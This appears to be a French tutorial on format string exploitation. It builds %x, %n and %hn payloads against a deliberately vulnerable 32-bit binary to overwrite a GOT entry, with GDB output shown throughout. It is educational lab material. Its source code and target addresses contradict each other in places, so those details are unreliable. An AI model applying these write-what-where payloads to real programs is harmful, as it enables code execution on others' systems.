Les failles format string sont très particulières, leur exploitation peut s’avérer assez complexe.
Cet article présente les bases de l’exploitation d’une telle vulnérabilité.
Au départ, je pensais faire un article contenant aussi la partie exploitation d’une vuln, mais celle ci sera présenté dans un autre article.
Voici le code que nous allons exploiter :
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(argc<1) { printf( argv[1] ); printf("\n"); } }
Ou se trouve la faille ?
Dans son comportement classique, printf récupère sur la pile les format modifier et les applique ensuite en utilisant les valeurs suivantes de la pile.
Dans le cas de l’utilisation directe de argv[1] sans utiliser de modifier, printf va chercher à interpréter le premier argument passé au programme.
Ainsi on maîtrise totalement le comportement de printf car aucun formatage des donnés n’est appliqué.
Lire en mémoire
On peux donc lire les adresses en mémoire grâce à un format modifier : %x ( cf printf ).
user@exploitLab32:~/FormatString$ ./vuln %x bffff724
On peux afficher plusieurs données en ajoutant d’avantages de %x, ce qui peut devenir rapidement fastidieux.
Pour accéder rapidement à la n-ième valeure on peut utiliser la syntaxe suivante :
%n\$x ( ou n represente la n-ième valeure )
L’objectif ici n’est pas de simplement lire les donnés mémoire.
Comme dans un buffer overflow on veux ici controler EIP.
Mais il faut tout d’abord trouver où on se trouve sur la pile.
user@exploitLab32:~/FormatString$ for((i=0;i<200;i++));do echo "Index $i" && ./vuln "AAAAAAAA%$i\$x" ; done | grep -B1 41414141 Index 122 AAAAAAAA41414141
La commande précédente va lire chaque octet puis lorsqu’elle a trouvé le pattern que nous lui avons passé elle nous affiche sa position.
Nous nous trouvons donc a 122 octet de la zone qui nous intéresse.
Ecrire en mémoire
Maintenant que nous savons comment lire n’importe quelle valeur en mémoire, il faut trouver comment pouvoir écrire.
Pour cela on va utiliser un autre format modifier : %n
Découvrons le comportement de ce modifier, pour cela j’ajoute cette ligne à mon code de base et je le compile via gcc :
printf("AAAAAA%n",0xdeadbeef)
Lorsque je lance le programme, il crash. Regardons avec GDB :
=> 0x8048459 <main+30> call 0x8048300 <printf@plt> 0x804845e <main+35>: add esp,0x10 0x8048461 <main+38>: cmp DWORD PTR [ebx],0x1 0x8048464 <main+41>: jle 0x8048487 <main+76> 0x8048466 <main+43>: mov eax,DWORD PTR [ebx+0x4] Guessed arguments: arg[0]: 0x8048520 ("AAAAAA%n") arg[1]: 0xdeadbeef arg[2]: 0xbffff6fc --> 0xbffff836 ("XDG_SESSION_ID=3") arg[3]: 0x80484c1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8]) arg[4]: 0xbffff660 --> 0x1 arg[5]: 0x0
On entre dans la fonction printf avec nos arguments.
EAX: 0xdeadbeef EBX: 0xb7fcc000 --> 0x1b1db0 ECX: 0x804b00e --> 0x0 EDX: 0x4e ('N') ESI: 0x6 EDI: 0x6 EBP: 0xbffff608 --> 0xbffff648 --> 0x0 ESP: 0xbffff120 --> 0xbffff133 --> 0xfff1c8ff EIP: 0xb7e5e339 (<_IO_vfprintf_internal+8873>: mov DWORD PTR [eax],esi) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7e5e326 <_IO_vfprintf_internal+8854>: cmp DWORD PTR [ebp-0x4b4],0x0 0xb7e5e32d <_IO_vfprintf_internal+8861>: jne 0xb7e5e3ba <_IO_vfprintf_internal+9002> 0xb7e5e333 <_IO_vfprintf_internal+8867>: mov esi,DWORD PTR [ebp-0x450] => 0xb7e5e339 <_IO_vfprintf_internal+8873>: mov DWORD PTR [eax],esi 0xb7e5e33b <_IO_vfprintf_internal+8875>: mov eax,DWORD PTR [ebp+0x10] 0xb7e5e33e <_IO_vfprintf_internal+8878>: add eax,0x4 0xb7e5e341 <_IO_vfprintf_internal+8881>: mov DWORD PTR [ebp+0x10],eax 0xb7e5e344 <_IO_vfprintf_internal+8884>: jmp 0xb7e5c9bd <_IO_vfprintf_internal+2349> [------------------------------------stack-------------------------------------] 0000| 0xbffff120 --> 0xbffff133 --> 0xfff1c8ff 0004| 0xbffff124 --> 0xb7fff918 --> 0x0 0008| 0xbffff128 --> 0x0 0012| 0xbffff12c --> 0xffffffb8 0016| 0xbffff130 --> 0xffffffb8 0020| 0xbffff134 --> 0xbffff1c8 --> 0x8048527 --> 0x6e ('n') 0024| 0xbffff138 --> 0xbffff6f0 --> 0x1 0028| 0xbffff13c --> 0x200 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xb7e5e339 in _IO_vfprintf_internal (s=0xb7fccd60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xbffff638 "�����\204\004\b`���") at vfprintf.c:1631 1631 vfprintf.c: Aucun fichier ou dossier de ce type.
Ici le programme viens de crasher. Si on regarde quelle est la dernière instruction on se rend compte que c’est : mov DWORD PTR[eax],esi
Autrement dit : » Ecrit la valeur de esi dans la valeur pointée par eax ».
ESI contient 0x6, soit la longueur de la chaîne passé avant le modifier %n, EAX contient 0xdeadbeef, l’adresse que nous avions passé en argument.
Avec ce modifier on peut donc écrire ce que l’on veux, où on veux.
Maintenant que l’on sait cela, il faut trouver ou écrire.
Dans ce genre de cas, notre cible est souvent la même : la GOT (Global Offset Table) Je vous renvoie à cet article pour plus d’explications sur la GOT.
Désassemblons le binaire :
804843b: 8d 4c 24 04 lea 0x4(%esp),%ecx 804843f: 83 e4 f0 and $0xfffffff0,%esp 8048442: ff 71 fc pushl -0x4(%ecx) 8048445: 55 push %ebp 8048446: 89 e5 mov %esp,%ebp 8048448: 51 push %ecx 8048449: 83 ec 04 sub $0x4,%esp 804844c: 89 c8 mov %ecx,%eax 804844e: 83 38 01 cmpl $0x1,(%eax) 8048451: 7e 21 jle 8048474 <main+0x39> 8048453: 8b 40 04 mov 0x4(%eax),%eax 8048456: 83 c0 04 add $0x4,%eax 8048459: 8b 00 mov (%eax),%eax 804845b: 83 ec 0c sub $0xc,%esp 804845e: 50 push %eax 804845f: e8 9c fe ff ff call 8048300 <printf@plt> 8048464: 83 c4 10 add $0x10,%esp 8048467: 83 ec 0c sub $0xc,%esp 804846a: 6a 0a push $0xa 804846c: e8 af fe ff ff call 8048320 <putchar@plt> 8048471: 83 c4 10 add $0x10,%esp 8048474: b8 00 00 00 00 mov $0x0,%eax 8048479: 8b 4d fc mov -0x4(%ebp),%ecx 804847c: c9 leave 804847d: 8d 61 fc lea -0x4(%ecx),%esp 8048480: c3 ret 8048481: 66 90 xchg %ax,%ax 8048483: 66 90 xchg %ax,%ax 8048485: 66 90 xchg %ax,%ax 8048487: 66 90 xchg %ax,%ax 8048489: 66 90 xchg %ax,%ax 804848b: 66 90 xchg %ax,%ax 804848d: 66 90 xchg %ax,%ax 804848f: 90 nop
A l’adresse 0x804846c se trouve une fonction interessante : putchar.
A ce moment la vous vous demandez surement que fait ce putchar dans notre programme alors que l’on a jamais écrit cela. Et bien il faut dire merci a GCC et ses fonctions d’optimisations :).
Quoi qu’il en soit, il nous sera bien utile ce putchar ! Grace à la format string on va modifier son adresse par celle de notre choix, ce peut être un shellcode stocké dans une variable d’environmenent ou sur la pile ..
user@exploitLab32:~/FormatString$ objdump -R vuln vuln: format de fichier elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a014 R_386_JUMP_SLOT putchar@GLIBC_2.0
L’adresse du pointeur sur putchar est 0x084a014, c’est à cette adresse que nous allons écrire.
Réouvrons GDB.
La première chose que l’on remarque c’est que notre précédent payload ( ./vuln AAAAAAAA%122\$x ) ne passe plus.
Ceci à cause de GDB et de ses variables d’environnement. Il faut donc retrouver l’emplacement de notre argument.
gdb-peda$ r AAAAAAA%135\$x Starting program: /home/user/FormatString/vuln AAAAAAA%135\$x AAAAAAA41414141
135 au lieu de 122.
Essayons maintenant de modifier le string formater :
gdb-peda$ r AAAAAAA%135\$n Starting program: /home/user/FormatString/vuln AAAAAAA%135\$n Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41414141 ('AAAA') EBX: 0x7 ECX: 0xb7fcc000 --> 0x1b1db0 EDX: 0x0 ESI: 0xbfffecb0 --> 0xffffffff EDI: 0xb7fccd60 --> 0xfbad2a84 EBP: 0xbffff0c8 --> 0xbffff5e8 --> 0xbffff628 --> 0x0 ESP: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln") EIP: 0xb7e5bb79 (<printf_positional+8137>: mov DWORD PTR [eax],ebx) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7e5bb6d <printf_positional+8125>: mov ebx,DWORD PTR [ebp-0x44c] 0xb7e5bb73 <printf_positional+8131>: mov eax,DWORD PTR [ebx+eax*4] 0xb7e5bb76 <printf_positional+8134>: mov ebx,DWORD PTR [ebp+0x10] => 0xb7e5bb79 <printf_positional+8137>: mov DWORD PTR [eax],ebx 0xb7e5bb7b <printf_positional+8139>: jmp 0xb7e5a1c5 <printf_positional+1557> 0xb7e5bb80 <printf_positional+8144>: sub esp,0x8 0xb7e5bb83 <printf_positional+8147>: mov DWORD PTR [ebp-0x43c],ecx 0xb7e5bb89 <printf_positional+8153>: push 0x2b [------------------------------------stack-------------------------------------] 0000| 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln") 0004| 0xbfffe174 --> 0x0 0008| 0xbfffe178 --> 0x0 0012| 0xbfffe17c --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5") 0016| 0xbfffe180 --> 0x0 0020| 0xbfffe184 --> 0x0 0024| 0xbfffe188 --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8]) 0028| 0xbfffe18c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xb7e5bb79 in printf_positional (s=s@entry=0xb7fccd60 <_IO_2_1_stdout_>, format=format@entry=0xbffff829 "AAAAAAA%135$n", readonly_format=readonly_format@entry=0x0, ap=<optimized out>, ap_savep=0xbffff1ac, done=0x7, nspecs_done=0x0, lead_str_end=0xbffff830 "%135$n", work_buffer=0xbffff1e8 "�", save_errno=0x0, grouping=0x0, thousands_sep=0xb7f75812 "") at vfprintf.c:2022 2022 vfprintf.c: Aucun fichier ou dossier de ce type.
Le programme crash car on essaye d’écrire à l’adresse 0x41414141
Remplaçons cette valeur par celle de putchar :
gdb-peda$ r $(python3 -c "print('AA'+'\x04\xa0\x04\x08'+'%135\$n')")
/!\ Pour éviter des heures de debug inutiles, sous Ubuntu 16.04 par défaut il n’y a pas de python2 et l’alias python=python3 n’existe pas non plus /!\
Une fois la fonction printf passée regardons si notre modifier à marché :
0x804845f <main+36>: call 0x8048300 <printf@plt> => 0x8048464 <main+41>: add esp,0x10 0x8048467 <main+44>: sub esp,0xc 0x804846a <main+47>: push 0xa 0x804846c <main+49>: call 0x8048320 <putchar@plt> 0x8048471 <main+54>: add esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xbffff610 --> 0xbffff82a --> 0xa0044141 0004| 0xbffff614 --> 0xbffff6d4 --> 0xbffff80d ("/home/user/FormatString/vuln") 0008| 0xbffff618 --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5") 0012| 0xbffff61c --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8]) 0016| 0xbffff620 --> 0xb7fcc3dc --> 0xb7fcd1e0 --> 0x0 0020| 0xbffff624 --> 0xbffff640 --> 0x2 0024| 0xbffff628 --> 0x0 0028| 0xbffff62c --> 0xb7e32637 (<__libc_start_main+247>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048464 in main () gdb-peda$ x/x 0x0804a004 0x804a004: 0x00000006
Bingo ! Nous avons modifié la valeur situé à l’adresse 0x0804a004 par celle de notre choix.
Ecrire ce que l’on veux
En vérité, nous n’avons pas totalement choisit ce qui serait écrit à l’adresse de putchar, 6 correspond à la longueur des caractères entrés
Ce que l’on veut, c’est écrire c’est une adresse mémoire, cependant ces adresses font 4 octets en 32bits, ce qui laisse présager des longs payloads avec cette technique d’écriture !
Heureusement pour nous, on peux utiliser un autre modifier %hn qui nous permet d’écrire sur 2 octets au lieu de 4.
A toute solution, un nouveau problème, c’est la joie des format string ..
En effet si je lance la commande suivante:
gdb-peda$ r $(python3 -c "print('AA'+'\x04\xa0\x04\x08'+'%135\$n')") [----------------------------------registers-----------------------------------] EAX: 0x250804a0 EBX: 0x6 ECX: 0xb7fcc000 --> 0x1b1db0 EDX: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln") ESI: 0xbfffecb0 --> 0xffffffff EDI: 0xb7fccd60 --> 0xfbad2a84 EBP: 0xbffff0c8 --> 0xbffff5e8 --> 0xbffff628 --> 0x0 ESP: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln") EIP: 0xb7e5be1b (<printf_positional+8811>: mov WORD PTR [eax],bx) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7e5be0e <printf_positional+8798>: mov edx,DWORD PTR [ebp-0x44c] 0xb7e5be14 <printf_positional+8804>: movzx ebx,WORD PTR [ebp+0x10] 0xb7e5be18 <printf_positional+8808>: mov eax,DWORD PTR [edx+eax*4] => 0xb7e5be1b <printf_positional+8811>: mov WORD PTR [eax],bx 0xb7e5be1e <printf_positional+8814>: jmp 0xb7e5a1c5 <printf_positional+1557> 0xb7e5be23 <printf_positional+8819>: sub esp,0x8 0xb7e5be26 <printf_positional+8822>: mov DWORD PTR [ebp-0x43c],ecx 0xb7e5be2c <printf_positional+8828>: push 0x20 [------------------------------------stack-------------------------------------] 0000| 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln") 0004| 0xbfffe174 --> 0x0 0008| 0xbfffe178 --> 0x0 0012| 0xbfffe17c --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5") 0016| 0xbfffe180 --> 0x0 0020| 0xbfffe184 --> 0x0 0024| 0xbfffe188 --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8]) 0028| 0xbfffe18c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xb7e5be1b in printf_positional (s=s@entry=0xb7fccd60 <_IO_2_1_stdout_>, format=format@entry=0xbffff829 "AA\004�\004\b%135$hn", readonly_format=readonly_format@entry=0x0, ap=<optimized out>, ap_savep=0xbffff1ac, done=0x6, nspecs_done=0x0, lead_str_end=0xbffff82f "%135$hn", work_buffer=0xbffff1e8 "�", save_errno=0x0, grouping=0x0, thousands_sep=0xb7f75812 "") at vfprintf.c:2022 2022 vfprintf.c: Aucun fichier ou dossier de ce type.
On vois bien que le programme tente d’écrire à une adresse incorrecte ( eax )
Pour conserver notre offset de départ il faut, lorsque l’on ajoute des caractères dans argv[1], ajouter des caractères par paquets de 16 ( 32bits oblige )
Essayons en ajoutant ce fameux padding :
gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08')")%135\$hn$(python3 -c "print('a'*15)") gdb-peda$ x/x 0x0804a004 0x804a004: 0xb7ff0006
Yeah ! Nous avons écrit dans la partie basse !
Essayons d’écrire dans la partie haute :
gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%135\$hn%136\$hn$(python3 -c "print('a'*20)")
La premiere addresse ne change pas, tout comme son modifier et les 15 ‘a’ que l’on a ajouté en padding.
On y ajoute une nouvelle addresse et un nouveau modifier (octets suivants) la taille de ces nouveaux paramètres est 11 (4+7) on ajoute donc 5 au padding pour respecter la règle de 16.
gdb-peda$ x/x 0x0804a004 0x804a004: 0x000a000a
Nous avons maintenant écrit dans la partie haute.
Dernière étape, écrire quelque chose d’utile, parce que la taille de l’argument précédant c’est pas vraiment ce qui nous donnera un shell..
Pour rappel, %n affiche le nombre de caractères avant lui, on pourrait ainsi mettre un certain nombre de caractères devant le modifier de telle manière que ce nombre de caractère une fois une fois convertie en hexadécimal corresponde à la valeur que l’on souhaitais avoir ..
Bon évidemment il y a plus malin, rappelez vous le %x, si on met %2x cela dépile 2 valeurs, %3x 3 valeurs ..
Il ne reste plus qu’a adapter le padding avec ces nouvelles instructions :
gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%500x%135\$hn%200x%136\$hn$(python3 -c "print('a'*10)") gdb-peda$ x/x 0x0804a004 0x804a004: 0x02c601fe
Vérifions nos valeurs :
>>> int(0x01fe) 510 >>> int(0x02c6) 710
Damnation ! On voulais 500 et 200 ! Sauf que comme précisé juste avant, %n écrit le nombre de caractères le précédant, si on calcule bien ces nombres sont logiques,il suffit d’adapter le code en fonction.
gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%190x%136\$hn%300x%135\$hn$(python3 -c "print('a'*10)") gdb-peda$ x/x 0x0804a004 0x804a004: 0x00c801f4
And voila ! On écrit maintenant ce que l’on veux, ou l’on veux.
Et je vais m’arrêter la pour cet article, toutes les bases nécessaires à l’exploitation d’une vulnérabilité sont présentés ici.
La suite bientôt avec un article sur l’exploitation réelle de cette vulnérabilité.